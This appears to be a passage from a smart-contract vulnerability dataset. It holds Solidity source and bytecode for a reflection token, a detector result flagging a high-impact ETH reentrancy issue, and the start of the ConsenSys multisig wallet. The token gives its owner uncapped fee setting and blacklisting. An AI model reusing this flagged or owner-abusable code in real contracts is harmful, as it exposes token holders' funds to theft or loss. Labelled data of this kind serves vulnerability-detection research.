) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104455780638f9a55c01461046557806395d89b41146101fe57806398a5c3151461047b57600080fd5b80637d1db4a5146103e45780637f2feddc146103fa5780638da5cb5b1461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026b57806318160ddd146102a357806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192a565b6105c6565b005b34801561020a57600080fd5b5060408051808201825260058152644a5544474560d81b6020820152905161023291906119ef565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a44565b610665565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50678ac7230489e800005b604051908152602001610232565b3480156102d457600080fd5b5061025b6102e3366004611a70565b61067c565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610232565b34801561032657600080fd5b5060155461028b906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611ab1565b6106e5565b34801561036657600080fd5b506101fc610375366004611ade565b610730565b34801561038657600080fd5b506101fc610778565b34801561039b57600080fd5b506102ba6103aa366004611ab1565b6107c3565b3480156103bb57600080fd5b506101fc6107e5565b3480156103d057600080fd5b506101fc6103df366004611af9565b610859565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba610415366004611ab1565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028b565b34801561045157600080fd5b506101fc610460366004611ade565b610888565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b506101fc610496366004611af9565b6108d0565b3480156104a757600080fd5b506101fc6104b6366004611b12565b6108ff565b3480156104c757600080fd5b5061025b6104d6366004611a44565b61093d565b3480156104e757600080fd5b5061025b6104f6366004611ab1565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101fc61094a565b34801561052c57600080fd5b506101fc61053b366004611b44565b61099e565b34801561054c57600080fd5b506102ba61055b366004611bc8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101fc6105a1366004611af9565b610a3f565b3480156105b257600080fd5b506101fc6105c1366004611ab1565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611c01565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611c36565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611c62565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611d7c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b8565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611c01565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611c01565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c0816111f2565b50565b6001600160a01b0381166000908152600260205260408120546106769061122c565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611c01565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611c01565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611c01565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611c01565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611c01565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816112b0565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611c01565b60005b82811015610a395781600560008686858181106109ea576109ea611c36565b90506020020160208101906109ff9190611ab1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611c62565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611c01565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611c01565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156110b157601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611c7d565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b601854601654919250821015908210610ffe5760165491505b8080156110155750601554600160a81b900460ff16155b801561102f57506015546001600160a01b03868116911614155b80156110445750601554600160b01b900460ff165b801561106957506001600160a01b03851660009081526005602052604090205460ff16155b801561108e57506001600160a01b03841660009081526005602052604090205460ff16155b156110ae5761109c826112b0565b4780156110ac576110ac476111f2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f357506001600160a01b03831660009081526005602052604090205460ff165b8061112557506015546001600160a01b0385811691161480159061112557506015546001600160a01b03848116911614155b15611132575060006111ac565b6015546001600160a01b03858116911614801561115d57506014546001600160a01b03848116911614155b1561116f57600854600c55600954600d555b6015546001600160a01b03848116911614801561119a57506014546001600160a01b03858116911614155b156111ac57600a54600c55600b54600d555b610a3984848484611439565b600081848411156111dc5760405162461bcd60e51b81526004016105f091906119ef565b5060006111e98486611c95565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156112935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b600061129d611467565b90506112a9838261148a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f8576112f8611c36565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134c57600080fd5b505afa158015611360573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113849190611cac565b8160018151811061139757611397611c36565b6001600160a01b0392831660209182029290920101526014546113bd9130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f6908590600090869030904290600401611cc9565b600060405180830381600087803b15801561141057600080fd5b505af1158015611424573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611446576114466114cc565b6114518484846114fa565b80610a3957610a39600e54600c55600f54600d55565b60008060006114746115f1565b9092509050611483828261148a565b9250505090565b60006112a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611631565b600c541580156114dc5750600d54155b156114e357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150c8761165f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153e90876116bc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156d90866116fe565b6001600160a01b03891660009081526002602052604090205561158f8161175d565b61159984836117a7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115de91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061160c828261148a565b82101561162857505060065492678ac7230489e8000092509050565b90939092509050565b600081836116525760405162461bcd60e51b81526004016105f091906119ef565b5060006111e98486611d3a565b600080600080600080600080600061167c8a600c54600d546117cb565b925092509250600061168c611467565b9050600080600061169f8e878787611820565b919e509c509a509598509396509194505050505091939550919395565b60006112a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b60008061170b8385611c7d565b9050838110156112a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b6000611767611467565b905060006117758383611870565b3060009081526002602052604090205490915061179290826116fe565b30600090815260026020526040902055505050565b6006546117b490836116bc565b6006556007546117c490826116fe565b6007555050565b60008080806117e560646117df8989611870565b9061148a565b905060006117f860646117df8a89611870565b905060006118108261180a8b866116bc565b906116bc565b9992985090965090945050505050565b600080808061182f8886611870565b9050600061183d8887611870565b9050600061184b8888611870565b9050600061185d8261180a86866116bc565b939b939a50919850919650505050505050565b60008261187f57506000610676565b600061188b8385611d5c565b9050826118988583611d3a565b146112a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b803561192581611905565b919050565b6000602080838503121561193d57600080fd5b823567ffffffffffffffff8082111561195557600080fd5b818501915085601f83011261196957600080fd5b81358181111561197b5761197b6118ef565b8060051b604051601f19603f830116810181811085821117156119a0576119a06118ef565b6040529182528482019250838101850191888311156119be57600080fd5b938501935b828510156119e3576119d48561191a565b845293850193928501926119c3565b98975050505050505050565b600060208083528351808285015260005b81811015611a1c57858101830151858201604001528201611a00565b81811115611a2e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5757600080fd5b8235611a6281611905565b946020939093013593505050565b600080600060608486031215611a8557600080fd5b8335611a9081611905565b92506020840135611aa081611905565b929592945050506040919091013590565b600060208284031215611ac357600080fd5b81356112a981611905565b8035801515811461192557600080fd5b600060208284031215611af057600080fd5b6112a982611ace565b600060208284031215611b0b57600080fd5b5035919050565b60008060008060808587031215611b2857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5957600080fd5b833567ffffffffffffffff80821115611b7157600080fd5b818601915086601f830112611b8557600080fd5b813581811115611b9457600080fd5b8760208260051b8501011115611ba957600080fd5b602092830195509350611bbf9186019050611ace565b90509250925092565b60008060408385031215611bdb57600080fd5b8235611be681611905565b91506020830135611bf681611905565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7657611c76611c4c565b5060010190565b60008219821115611c9057611c90611c4c565b500190565b600082821015611ca757611ca7611c4c565b500390565b600060208284031215611cbe57600080fd5b81516112a981611905565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d195784516001600160a01b031683529383019391830191600101611cf4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7657611d76611c4c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205fb21c412f7e9232e28627b1c96ecf384a97b12ab412e5e356b25f75da633d8664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
56
0xb7f0b13bb546ca63655ccbdcc3f21dc2a80bce85
/// This code was taken from: https://github.com/ConsenSys. Please do not change or refactor. pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610538578063b5dc40c3146105cf578063b77bf60014610647578063ba51a6df14610670578063c01a8c8414610693578063c6427474146106b6578063d74f8edd1461074f578063dc8452cd14610778578063e20056e6146107a1578063ee22610b146107f9575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061081c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085b565b005b341561021e57600080fd5b6102346004808035906020019091905050610af7565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9d565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbd565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cec565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d7e565b005b341561036957600080fd5b61037f6004808035906020019091905050610f74565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba600480803590602001909190505061105a565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611126565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e1611182565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610524578082015181840152602081019050610509565b505050509050019250505060405180910390f35b341561054357600080fd5b610578600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611216565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b505050509050019250505060405180910390f35b34156105da57600080fd5b6105f06004808035906020019091905050611372565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610633578082015181840152602081019050610618565b505050509050019250505060405180910390f35b341561065257600080fd5b61065a61159c565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b61069160048080359060200190919050506115a2565b005b341561069e57600080fd5b6106b46004808035906020019091905050611654565b005b34156106c157600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061182d565b6040518082815260200191505060405180910390f35b341561075a57600080fd5b61076261184c565b6040518082815260200191505060405180910390f35b341561078357600080fd5b61078b611851565b6040518082815260200191505060405180910390f35b34156107ac57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611857565b005b341561080457600080fd5b61081a6004808035906020019091905050611b6c565b005b60038181548110151561082b57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a78578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a6b5760036001600380549050038154811015156109e257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a78565b818060010192505061094d565b6001600381818054905003915081610a909190611e76565b506003805490506004541115610aaf57610aae6003805490506115a2565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bbb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610be957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d7757838015610d2b575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d5e5750828015610d5d575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d6a576001820191505b8080600101915050610cf4565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610db857600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1057600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e35576